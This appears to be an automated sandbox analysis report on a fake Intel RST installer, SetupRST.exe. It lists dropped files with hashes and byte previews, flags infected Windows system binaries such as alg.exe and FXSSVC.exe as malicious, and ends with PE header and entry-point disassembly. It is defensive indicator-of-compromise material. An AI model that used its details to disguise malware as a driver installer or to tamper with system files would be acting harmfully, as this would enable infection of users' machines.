Preview:	..;. .C.o.p.y.r.i.g.h.t. .(.C.).,. .I.n.t.e.l. .C.o.r.p.o.r.a.t.i.o.n... .A.l.l. .r.i.g.h.t.s. .r.e.s.e.r.v.e.d... ...;. ............................................................................................... ...;. ... . . . .F.i.l.e.n.a.m.e.:. . .i.a.S.t.o.r.H.s.a._.E.x.t...i.n.f. ...;. ... . . . .R.e.v.i.s.i.o.n.:. . .0.6./.0.3./.2.0.2.2.,.1.9...5...0...1.0.3.7...;. ... . . . .A.b.s.t.r.a.c.t.:. . .I.n.t.e.l. .I.n.t.e.l.(.R.). .R.a.p.i.d. .S.t.o.r.a.g.e. .T.e.c.h.n.o.l.o.g.y. .H.a.r.d.w.a.r.e. .S.u.p.p.o.r.t. .A.p.p. .e.x.t.e.n.s.i.o.n.....;. ... . . . . . . . . . . . . . . .T.o.g.e.t.h.e.r. .w.i.t.h. .c.o.m.p.o.n.e.n.t. .i.n.f. .i.t. .i.n.s.t.a.l.l.s. .R.S.T. .H.S.A. .f.r.o.m. .W.i.n.d.o.w.s. .S.t.o.r.e. .t.h.r.o.u.g.h. ...;. ... . . . . . . . . . . . . . . .A.d.d.C.o.m.p.o.n.e.n.t. .a.n.d. .A.d.d.S.o.f.t.w.a.r.e. .d.i.r.e.c.t.i.v.e.....;. .................

C:\Users\user\AppData\Local\Temp\zakrqeok.vur.708d124\VMD-driver.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	1697160
Entropy (8bit):	7.996496465657407
Encrypted:	true
SSDEEP:	49152:ICKUX3c5pdW+Clw/3yzxXVivyy0YDdSBTdcmOZJM+JE7Xs3XuLJ:ICKUX3cZWf6PKy0aSBJcBQ+S7XvN
MD5:	E5B0CC1DE7F6FACAF7C5A2E146194505
SHA1:	D8683F6528FAB31C0AE89DB4D3DB202A2281A456
SHA-256:	1489271813EB6869B340B8F28B8E87A67AA831AF5514F8FF4BDB02EF696E2AC2
SHA-512:	8E25D3B754D7F4C60D128B433F0978D674601222386188AA843AF4EA4CA50A7A0D2316430020F79C4364D83DA948F062BAC19063AF7DFCA4CA0E92573163DAEB
Malicious:	false
Preview:	PK.........U.T..-.....z/......iaStorVD.cat.z.<.]..}.m..)K.}.g....-..B.2....A.m..i......Pi..Z.H...M....f..<.......]>.....}.u.u.s..\.s.K..8APD/k~.GqX.....#..P...$.qA....0..A.............C..\.v. )"b..)...c...m0.c1......A...q<.!..8S.S..."1.;.'U....1.&...A..9d..@N.#.!..(.......9d.(f.....@O^.{P..%^...4..G..p.X.1.1...i!..b....0.....H.....C.@&............Ua...AQ.u.C...CL ..1....8iP....v...18.b.HM.(... d6""(./.F).@.Y....z..6g.Z...R. ...L....x..Bk.. .X+.,..........A..~<..h<.@.....5g......~.(......x.....D....Pw.o...1..`x.V"..S5.... ..@.!..2..G.T..?.z.....T...+>.J.__.4(......<@..L`.X#..(......r1.0.-.......O.I.....1&.o......).n.LA...S.c<x.7.wt...#...7....$.`.). ..........4.2.=..MA..M.....b.'S..0.....<....P8.1...xF...S&).'....9.......T....$........._.J'.....\|:..6.t.0M...M'}..B.u.P.D...LLh5x.)..4....4.......Oq.]..0...>.p.......B,T...P<Xk.X~......i`.1.:.:.!.......+Q.'Y.. ....0.....bo...;.asT.......i@....-.....y+0.k..? .....$....*.1....4<....9y{hR...p.N.M.....

C:\Users\user\AppData\Local\Temp\zakrqeok.vur.708d124\VMD\RstMwEventLogMsg.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	29368
Entropy (8bit):	6.749654096478122
Encrypted:	false
SSDEEP:	384:2suUk08u2aWQtseGfZPtBAfGmGovy8ZpHkjnmWRFR2vp/P/R9zOoQOK:WUV8ubmZPtBUyiRYnL2v5PZ9zPK
MD5:	B84A9AA97F4531A12B4EB548BB1D276C
SHA1:	44D50E06A2543946FDDCCE97C8EC2537AA311A70
SHA-256:	D10B5744368291BA74B257FC3AECC074071AE4E8DFDE99B0257A832501F8398D
SHA-512:	FCFD4E352149D4FCBBD256B57EFE46F231BFF596390905DDDD97073EF9A766C09FB4C1C6FDED3554F81FF91549CF2020653449408D8339F8CB9B0A8DFA4AF8EE
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......i{..-...-...-....cP.,...-.8./....c..,...Rich-...........PE..d......b.........." ......... ...............................................@......g.....`A......................................................... ..(............$...N...........................................................................................rdata..............................@..@.rsrc...(.... ......................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zakrqeok.vur.708d124\VMD\RstMwService.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2055336
Entropy (8bit):	6.4098950193558935
Encrypted:	false
SSDEEP:	49152:WhzyAU6wxzCkRofwQnNyG3s4mn3/4yJEem64i6L:ZIwQnEwyme2
MD5:	498C0357462764FB4B18A051972AE3B3
SHA1:	F853D5509430442B62A1C3CC3B4DC58BC98EAE0C
SHA-256:	820374881429CBDCA098586AC781E1133CE136D6DF6F02D500AC6195F958CE68
SHA-512:	DDDF5E259007DBD348B23A75F69ABCF7FFB57B2019386F7FE144E25541B2900206A2F9BF9F33E73B010DCE973B8E324B9B060964E44ADF9CBCAD26BDD66191C8
Malicious:	true
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.......O....q...q...q..i...oq..i....q..i....q..@...q.......q......q.......q..@....q..@....q......q..@....q...q...p......q...o..q...q...q......q..Rich.q..................PE..d......b.........."......l...R.......e.........@....................................x.....`.....................................................@........................N......<-..`...........................(... ...@............................................text....k.......l.................. ..`.rdata...............p..............@..@.data...T{...0....... ..............@....pdata..............................@..@_RDATA..............................@..@.rsrc...............................@..@.reloc..<-..........................@..B................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zakrqeok.vur.708d124\VMD\iaStorVD.cat

Download File

Process:	C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe
File Type:	data
Category:	dropped
Size (bytes):	12154
Entropy (8bit):	7.144813787473479
Encrypted:	false
SSDEEP:	192:zfTDARTtVuny2JCCwWkjyKDUFWQFq3GcuF552v++X01k9z3AzsnQkojWnwS:zd6WRFRY3Jk5+R9zusQkAWwS
MD5:	6707A777A88B5810466C947F8332D4F8
SHA1:	A5B1B28E42D97C157227BDAC9D75EA79DEAFD760
SHA-256:	46E6114ECFF52CE9A62CF5994491A43CA0D36D3D6096EEF7AFE27513D8C81AEE
SHA-512:	759018E5B8C44623B89DFAB368488E664AC3EB5457F9FFFBA12DC68DEB41AF2A939151E2BAF969136059CBBF31CE401F319C7779C5B5AEC4142B9C2F5BC64943
Malicious:	false
Preview:	0./v..*.H......../g0./c...1.0...`.H.e......0..+..+.....7......0...0...+.....7.....o.>...nF...<..,v..220712154546Z0...+.....7.....0...0..w.R4.7.1.B.9.5.4.E.D.D.0.C.4.1.9.2.8.4.9.A.C.8.A.1.7.C.5.0.C.B.A.A.0.5.0.E.2.9.B.D...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........i.a.s.t.o.r.v.d...i.n.f...0E..+.....7...17050...+.....7.......0!0...+........G..N..A....\|P...).0b..+.....7...1T0R.L.{.D.E.3.5.1.A.4.2.-.8.E.5.9.-.1.1.D.0.-.8.C.4.7.-.0.0.C.0.4.F.C.2.9.5.E.E.}....0....R6.9.7.5.6.5.5.D.3.9.F.3.1.3.1.9.5.7.A.2.B.6.0.A.0.6.A.D.8.3.8.C.D.0.F.9.7.3.3.6...1../04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0D..+.....7...1604...F.i.l.e......."r.s.t.m.w.s.e.r.v.i.c.e...e.x.e...0M..+.....7...1?0=0...+.....7...0...........0!0...+........iue]9...W.........s60b..+.....7...1T0R.L.{.C.6.8.9.A.A.B.8.-.8.E.7.8.-.1.1.D.0.-.8.C.4.7.-.0.0.C.0.4.F.C.2.9.5.E.E.}....0....R9.F.4.0.0.D.7.1.D.C.E.F.3.0.A.C.7.1.1.E.0.C.4.7.A.0.D.6.D.E.F.C.0.0.9.F.9.7.B.F...1..70

C:\Users\user\AppData\Local\Temp\zakrqeok.vur.708d124\VMD\iaStorVD.inf

Download File

Process:	C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe
File Type:	Windows setup INFormation
Category:	dropped
Size (bytes):	28202
Entropy (8bit):	3.84284649517039
Encrypted:	false
SSDEEP:	192:Wm598PzXUJ8tK5337tNDeqr3D3/crl3D3HJX3h3JOxL3I3ED3h3J7K3I3Eb7+6fm:Wm598LEJ8t433pN6rWP2+1B
MD5:	53AB9380C7EA98442E543E22C3EF9DB8
SHA1:	471B954EDD0C4192849AC8A17C50CBAA050E29BD
SHA-256:	A7DC3297D684B28EB73919F024A9E19C092010276F7D0FA33A24998EC16D1C74
SHA-512:	BFC09FDD0A6F12E1339DF494AA3E1428FA82FBDE650ABA2DDF3D77EF9BACF74DBFAF886FB036327DDFDE4B5964A4CF7396A94763AF76AF74DF0917A27E3A11F4
Malicious:	false
Preview:	..;. .C.o.p.y.r.i.g.h.t. .(.C.).,. .I.n.t.e.l. .C.o.r.p.o.r.a.t.i.o.n... .A.l.l. .r.i.g.h.t.s. .r.e.s.e.r.v.e.d... .....;. ............................................................................................... .....;. ... . . . .F.i.l.e.n.a.m.e.:. . .i.a.S.t.o.r.V.D...i.n.f. .....;. ... . . . .R.e.v.i.s.i.o.n.:. . .0.6./.0.3./.2.0.2.2.,.1.9...5...0...1.0.3.7.....;. ... . . . .A.b.s.t.r.a.c.t.:. . .W.i.n.d.o.w.s.. .I.N.F. .F.i.l.e. .f.o.r. .V.M.D. .I.n.t.e.l.(.R.). .R.a.p.i.d. .S.t.o.r.a.g.e. .T.e.c.h.n.o.l.o.g.y. .D.r.i.v.e.r. .....;. ... . . . . . . . . . . . . . . .I.n.s.t.a.l.l.s.:. .R.S.T. .V.M.D. .C.o.n.t.r.o.l.l.e.r. .M.i.n.i.p.o.r.t. .+. .R.S.T. .F.i.l.t.e.r. .D.r.i.v.e.r.....;. ..............................................................................................*. ...

C:\Users\user\AppData\Local\Temp\zakrqeok.vur.708d124\VMD\iaStorVD.sys

Download File

Process:	C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1605296
Entropy (8bit):	6.563345124225752
Encrypted:	false
SSDEEP:	12288:RyTeBvdYfN/lwlX9MlpL+Qp3QSW0KJhwgN1XOJ+N3F9/+aujOItXlGRNwqQdCOwo:RyCsf6vsOvxujV4VVPEJ3R5
MD5:	1177A29068BE22EBE5B34F452D83CD20
SHA1:	FA30D70B05CED25126FB134B9758E0D685EE4C89
SHA-256:	C5F8D18CD0B48164E7712143218D8F42BCECE3C41FB4606D692981A1777F1571
SHA-512:	F26E90D041301B5891E22477F90EAB0E4D9AD3F3AF2C22238CD6A8B30FA768325F45DE5DAAF2A68E07CAED147BB70A550238E9B9D48A9B2C336DE601ED3D99E7
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......G4...U.R.U.R.U.R.,.S.U.RH-.S.U.R.U.R.U.RH-.S.U.RH-.S.U.R.U.R.U.RH-.S.U.RH-.S.U.R.,.S.U.R.,8R.U.R.,.S.U.RRich.U.R........PE..d...h..b.........."......h.....................@...........................................A................................................\...P...............H....0...N.......... ...T...............................@............p...............................text....P.......R.................. ..h.rdata..x....p.......V..............@..H.data....o...0......................@....pdata..H............ ..............@..HPAGE................................ ..`INIT................................ ..b.rsrc...............................@..H.reloc..............."..............@..B........................................................................................................................................................................

C:\Users\user\AppData\Roaming\8acd869c9487361.bin

Download File

Process:	C:\Users\user\Desktop\SetupRST.exe
File Type:	data
Category:	dropped
Size (bytes):	12320
Entropy (8bit):	7.9853379828317985
Encrypted:	false
SSDEEP:	192:8cOgeY4KFrFG0A8t2SkTC4whgbVSNlh4n2W+7aeNaqDSz/MOjbHngmVbMvry1QIb:8RgN4v0AUp4whx/fNaWe/MS78v2QIJt
MD5:	456FB0377F1ECB0FB12ECD8B80D94DAA
SHA1:	208B3B7FE5F1C22535D03B7BD37C8A6A41B630A1
SHA-256:	5522AF1728B48D78A91EF212663D9403E4A8A746133180D51271BE7F315AA625
SHA-512:	8222A883E3E5F8D64AC4C5CB1B732379CC9E396278A455C6164DA4655161BA39A7092DB01318E271B73D5A082958B2BA3330A6E2DCD8B806C4A073497DC9A477
Malicious:	false
Preview:	k.q....h.{..OC..?......o/.m...q.'..w..........."9...D.......=.......A5\|..-....Z........w'?...KPq~6.A.9w..E#.B.+\cWr.3~F.!..N...2.{.:/.}\|.....$s.J...........^..x.P...J.W.U..g...~...J.ob...yt.1+..(..2..SR.j.Twz...m...G......9?.j3....(...D.o..F:>...r..y..>.E......d..1.$#.k..K......../.g..~....O..0G....p....f,.M.H...2h.....)...Vz;..`.L3.s.H\...wU\.A...Yf.`.G0..,.`Q....h!.7.zI...u0$Mz..c.".7..q.o...BM....#h..A.V...l...)....MkaJ..I./I..(]..DTV..U..m{q..?~..aT7r....3j.......W.kk......;z.......g..Q....~9.'..1.+......d..1W...^.[$}..H.Y.......~.+IG....f.z7..!^.f.........^.B.H7:I-...YZaZ......z.K...t.........'.....b...D{+.OF.@s^T.`.U.p.. .v.;.R.^...Ve>.T.3...n?......1T...^..,.....l{s..W....9g.Q..N.x7.?czy.*.A#..J\.$.....lZF.\L...i1S0./g.z3LPV.vo.im5..y.~.1.s.4..Q........o.^.Q.T{H.j..^.Cg......(....W.]..S.{..^c.b..4.'%..=j5...%./n.>3...^.X..).}....\..c..ac....N...;E...". ...q'.xX.D....2...&...a<.<..0n.-l.e.<s..fK.U.Q2.......>...e..%u.P.x.=..

C:\Users\user\Intel\Logs\SetupRST.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2223
Entropy (8bit):	5.51011357704979
Encrypted:	false
SSDEEP:	48:GH7X6st12JTMAI1qMiLnQM0lOc6NTn6N52OuGgveswD+7KhY:o1+RBNWNDQrwvW
MD5:	C85AA3DB75D63F4F2A62303D5536E49D
SHA1:	456B35F91320E3C86C7B219ACF3A7CDF30C0E982
SHA-256:	90DCE2D922F30174C6CE9F6EF63B2039AD7A7B369A573B5D74CD80B74AA3CDCF
SHA-512:	81EC408127C9E175F0C03787B59E84E204AE1C59EB7E01F32AF973F1C49801CB52D583C46C11AEFF235DC05FC9BCE24D9E4466C79A71F7EDEBE42E72CFE71B6D
Malicious:	false
Preview:	..INFO \| 2024/10/28 11:38:36 \| Logging initiated \| ..INFO \| 2024/10/28 11:38:36 \| Start \| ..INFO \| 2024/10/28 11:38:36 \| Command: SetupRST.exe \| ..INFO \| 2024/10/28 11:38:36 \| InstallerVersion: 19.5.0.10 KitVersion: 19.5.0.1037 \| ..INFO \| 2024/10/28 11:38:37 \| Extracting VMD drivers \| ..INFO \| 2024/10/28 11:38:37 \| Extracting embedded resource: SetupRST.VMD-Driver.zip to C:\Users\user\AppData\Local\Temp\zakrqeok.vur.708d124\VMD-driver.zip \| ..INFO \| 2024/10/28 11:38:37 \| Extracting HsaComponent drivers \| ..INFO \| 2024/10/28 11:38:37 \| Extracting embedded resource: SetupRST.HsaComponent.zip to C:\Users\user\AppData\Local\Temp\zakrqeok.vur.708d124\HsaComponent.zip \| ..INFO \| 2024/10/28 11:38:37 \| Extracting HsaExtension drivers \| ..INFO \| 2024/10/28 11:38:37 \| Extracting embedded resource: SetupRST.HsaExtension.zip to C:\Users\user\AppData\Local\Temp\zakrqeok.vur.708d124\HsaExtension.zip \| ..INFO \| 2024/10/28 11:38:37 \| Checking if iaStorVD.inf match platform \| ..INFO \| 2024/10/28

C:\Windows\System32\AppVClient.exe

Download File

Process:	C:\Users\user\Desktop\SetupRST.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1348608
Entropy (8bit):	7.246025833225292
Encrypted:	false
SSDEEP:	24576:oQW4qoNUgslKNX0Ip0MgHCpoMBOuN/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:oQW9BKNX0IPgiKMBOuNLNiXicJFFRGNf
MD5:	157A2D16D81CE01EB292A338F4AA9E82
SHA1:	D4B1A43DE9379E7A231A7B2D44FD0904AE94921D
SHA-256:	FCE0EED6FA252BE768DC000F107EAC13DE4BB93D74D742922EAA868FA8D04168
SHA-512:	9D5D29ECDC14BEDBD02D60405DF27ABBF34BD93A98738D2DBCDF5DFC451340A05B4C5139760E2DDE6E7FC7A08B781B6DAE48E60A5FC4920ABF49E3F05DD727F3
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g..=#p.n#p.n#p.n*.kn%p.n7..o(p.n7..o p.n7..o.p.n#p.n.u.n7..o.p.n7..o.p.n7..n"p.n7..n"p.n7..o"p.nRich#p.n........................PE..d....4............"..........$.......K.........@.......................................... .......... .......................................j..h....`...a... ...:..................0a..T....................%..(....$...............%..P............................text...L........................... ..`.rdata..............................@..@.data....z.......n..................@....pdata...:... ...<..................@..@.rsrc....a...`...b...2..............@..@.reloc..............................@...................................................................................................................................................................................................................................................

C:\Windows\System32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe

Download File

Process:	C:\Users\user\Desktop\SetupRST.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1379840
Entropy (8bit):	4.686009991900309
Encrypted:	false
SSDEEP:	24576:12G7AbHjki/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:12G7AbHjjLNiXicJFFRGNzj3
MD5:	5130037EA7355E59B9A62FAD13EFDE82
SHA1:	869AF6EAA0A5E4A8E5C9711A4CEDC48303E271FA
SHA-256:	68151E4F458556F4B1D9E5C01D962F4CA10E8F57CEF026C46D68E9444D2BD6E9
SHA-512:	EA0E106E5D42E8C847E1EB45A2A19123EBCA34B723ABC746C95E763EAE8367D844F8A61BC3205E1A0E93F07EDE3F1EE6E5BA7514AE5ED8E52854C0113EF25545
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......B6l0.W.c.W.c.W.c./.cPW.c.<.b.W.c.<.b.W.c.W.c.S.c.<.b.W.c.<.b.W.c.<.b.W.c.<.c.W.c.<.c.W.c.<.b.W.cRich.W.c................PE..d...^.Jw.........."............................@.............................. ........... .......... ......................................p?...................................... #..T...................8...(... ...............`...H............................text............................... ..`.rdata...b.......d..................@..@.data...@....p.......P..............@....pdata...............T..............@..@.rsrc................b..............@..@.reloc...`...........n..............@...........................................................................................................................................................................................................................................................

C:\Windows\System32\FXSSVC.exe

Download File

Process:	C:\Users\user\Desktop\SetupRST.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1242624
Entropy (8bit):	7.283015835665365
Encrypted:	false
SSDEEP:	24576:6kdpSI+K3S/GWei+qNv2uG3K/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:66SIGGWei2uG3KLNiXicJFFRGNzj3
MD5:	2C824D7187C5393013089962F30C9870
SHA1:	A85A5AB271AF3C07DB51D8B710C5F0984766A34B
SHA-256:	BE6519F1BACF73E65C5E01ABF09E655119E5BD69A97F98AAA157519092450AAD
SHA-512:	799E4C9473D7A91D0B2BCB92C83EEC3A7E2E2959E5D1AEC0CE8F4C918410BFFE8113D2715AD407DA2E58E7542AE99326C975423C3F04997E5ABCF18EF89633F2
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............}x..}x..}x...{..}x...\|..}x...y..}x..}y.x\|x...p..}x...}..}x......}x...z..}x.Rich.}x.................PE..d................."...... .....................@.............................P............ ..................................................{..h....P...........1......................T...........................pk...............l.......{..@....................text...Y........ .................. ..`.rdata..2u...0...v...$..............@..@.data... H.......<..................@....pdata...1.......2..................@..@.didat.......@......................@....rsrc........P......................@..@.reloc.......`......................@...................................................................................................................................................................................................................................

C:\Windows\System32\alg.exe

Download File

Process:	C:\Users\user\Desktop\SetupRST.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1381376
Entropy (8bit):	4.686399784599516
Encrypted:	false
SSDEEP:	24576:Fr7/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:Fr7LNiXicJFFRGNzj3
MD5:	78E2142C1A9F8A5BD9E1D381BD038CD9
SHA1:	96A60D7C07DDDFC4A2491B9ABB5E2B720000C4C9
SHA-256:	FCD4E3B74FE17ACE9C12964F3C34AAE9AAC94598EB4D97C3E37AC20EA534841C
SHA-512:	16588F51CF4A83E18310DC0DA399140379EBB51915D837B025EB7FE32214873C34396DB9741A655A69481C51FBE85AB81333BA5AF272BC1BA45D5DCFAE7ACEF6
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........,..dB.dB.dB....dB..A.dB..F.dB.dC.,dB..C.dB..G.dB..J.dB....dB..@.dB.Rich.dB.........PE..d...E.~..........."............................@.............................. ........... .......... ......................................`E...............p.. ................... ...T...............................................8...TA.......................text............................... ..`.rdata..rV.......X..................@..@.data........`.......@..............@....pdata.. ....p.......D..............@..@.didat...............R..............@....rsrc............ ...T..............@..@.reloc...`...........t..............@...................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Roaming\8acd869c9487361.bin

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	data
Category:	dropped
Size (bytes):	12320
Entropy (8bit):	7.986778478157819
Encrypted:	false
SSDEEP:	192:72OzKBgmE62MC0Y2yX8WZVDdQAMoaw0lYjLOvSnyj3ct9+5vGD5bVeQw:7pzcglIY2y7SRlzrctwGDBVeQw
MD5:	B49D0B23F4606A48EA893BEB22F6ED82
SHA1:	7628BDE3C554ECE2B008BA9BC7BD87117BB73D3F
SHA-256:	FFED690D8A5AA93223D067F0016C6155EF939F1C98B40FB9E426396BAB20075E
SHA-512:	862B416444B212236BA1332A7967F8C7913DF5A79DFBF0F759EFF8D54692FF6838721F684E5C9AFC1752AC33DBBF50EF6B5F5B80477F5D76D49828126CD3C3F3
Malicious:	false
Preview:	..p.`2.w].... Fg.G\|.....sF.F...8q..tIg)...O...{.oD.q-p.....]3.g.7"1eO.I...^.....J..........m..f.%7..&V.2bg9'9.^.X...@,.. .0.M..l.Q=...&>....1..........Q.q....\|..}.d.:..p.y'..$j.M...$..#.i.hA.Y6.I.B.......2....`>.N.C.!..u.vu].E..&Cc.~>...bd../.x......Q..4.8.j.nc.}.v]_.o.;.M."CjH.OU.#.L....4........s..X....{...m.5`....-/H...W..c.C....W..T.(...S'Ig.J......Q......$..P..(fW6d:..\..-.'~........b..6=i..UX.. ..o.@ [L].........ht...#pd..\|.X[..)..\|....3.q.. .\|T.I....r.J......sZ...d.w..A.....rg.Q.a...f7..\|(..,......:..@.sP`8..ux.q...W6..B..OX.gJ..jNo.....UN}.7._.=.a.:[..IYu$....v.\..kGk..R.... ........D.w+.+.`..=.<.Y~T...K{.........U..#..k...!<SOK}/`.o....,.y...K.....o....f..0t.."."...!S...be..$...*.#...4.T/a...^J.va3..b2G..q..b..>..d...vj.BKj.7.^.N...n......-'.S(....sa$.^....%d.]C.j....5ixoU.m...ZEJg...%...-..>......_......./...A[....XJ..~.f...B.,1.....dw......183.a_fv.......^.u...4.k@.Z\|.......&.g.,......!....y..7..k..pQ..tp.u...C../.>d\|`..t.UB.>i...

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	7.200034883215265
TrID:	Win64 Executable GUI Net Framework (217006/5) 49.88% Win64 Executable GUI (202006/5) 46.43% Win64 Executable (generic) (12005/4) 2.76% Generic Win/DOS Executable (2004/3) 0.46% DOS Executable Generic (2002/1) 0.46%
File name:	SetupRST.exe
File size:	8'888'320 bytes
MD5:	94b8296a8960c26cef20e322887fd5f5
SHA1:	57fda7b1a6c140f32cf3d196ef946f5cfcd5127b
SHA256:	804f97bdb7ba1317cc4289303e610d800725802c81accf9f2246ff8790fbad92
SHA512:	8a7f724600736d32a1871268c3072fa2813f7f4cff5f90a49ef4470a1a5b214457b2e4a2b7c06b4ef149f3788bfe94d0711553b37d18b624a462db99d8adcbc3
SSDEEP:	98304:u5hzy4CKUX3cZWf6PKy0aSBJcBQ+S7XvYa7wRGpj3:u/zy4y3eW+0LWB4XwOF9
TLSH:	29969F07B3620371E0354ABAB04763B5E992BC749793D196B01DA56CF8CBDF827B0798
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........q.b.".b.".b."...#.b."...#.b."...#sb."f..#.b."f..#.b."f..#.b."...#.b.".b.".b."@..#.b."@..".b.".bk".b."@..#.b."Rich.b.".......

File Icon


Icon Hash:	336ce6b2b2cc68b1

Static PE Info

General

Entrypoint:	0x14000bf00
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, FORCE_INTEGRITY, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x62D02F34 [Thu Jul 14 14:59:00 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	a495f749179823a8e3570f8571385f3b

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F06D1732E5Ch
dec eax
add esp, 28h
jmp 00007F06D173264Fh
int3
int3
dec eax
sub esp, 28h
dec ebp
mov eax, dword ptr [ecx+38h]
dec eax
mov ecx, edx
dec ecx
mov edx, ecx
call 00007F06D17327E2h
mov eax, 00000001h
dec eax
add esp, 28h
ret
int3
int3
int3
inc eax
push ebx
inc ebp
mov ebx, dword ptr [eax]
dec eax
mov ebx, edx
inc ecx
and ebx, FFFFFFF8h
dec esp
mov ecx, ecx
inc ecx
test byte ptr [eax], 00000004h
dec esp
mov edx, ecx
je 00007F06D17327E5h
inc ecx
mov eax, dword ptr [eax+08h]
dec ebp
arpl word ptr [eax+04h], dx
neg eax
dec esp
add edx, ecx
dec eax
arpl ax, cx
dec esp
and edx, ecx
dec ecx
arpl bx, ax
dec edx
mov edx, dword ptr [eax+edx]
dec eax
mov eax, dword ptr [ebx+10h]
mov ecx, dword ptr [eax+08h]
dec eax
mov eax, dword ptr [ebx+08h]
test byte ptr [ecx+eax+03h], 0000000Fh
je 00007F06D17327DDh
movzx eax, byte ptr [ecx+eax+03h]
and eax, FFFFFFF0h
dec esp
add ecx, eax
dec esp
xor ecx, edx
dec ecx
mov ecx, ecx
pop ebx
jmp 00007F06D1732446h
int3
dec eax
mov eax, esp
dec eax
mov dword ptr [eax+08h], ebx
dec eax
mov dword ptr [eax+10h], ebp
dec eax
mov dword ptr [eax+18h], esi
dec eax
mov dword ptr [eax+20h], edi
inc ecx
push esi
dec eax
sub esp, 20h
dec ecx
mov ebx, dword ptr [ecx+38h]
dec eax
mov esi, edx
dec ebp
mov esi, eax
dec eax
mov ebp, ecx
dec ecx
mov edx, ecx
dec eax
mov ecx, esi
dec ecx
mov edi, ecx
dec esp
lea eax, dword ptr [ebx+04h]
call 00007F06D1732741h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x422fc	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4a000	0x7a6a60	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x46000	0x2730	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x3d7d0	0x70	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x3d840	0x138	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2d000	0x330	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2b2fc	0x2b400	7cedef100ae0e100068901e6821a5329	False	0.5556301932803468	data	6.4685759574013355	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2d000	0x15df4	0x15e00	ed14afecd3b97908304f493c4f5e5163	False	0.45479910714285715	data	5.058482507303847	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
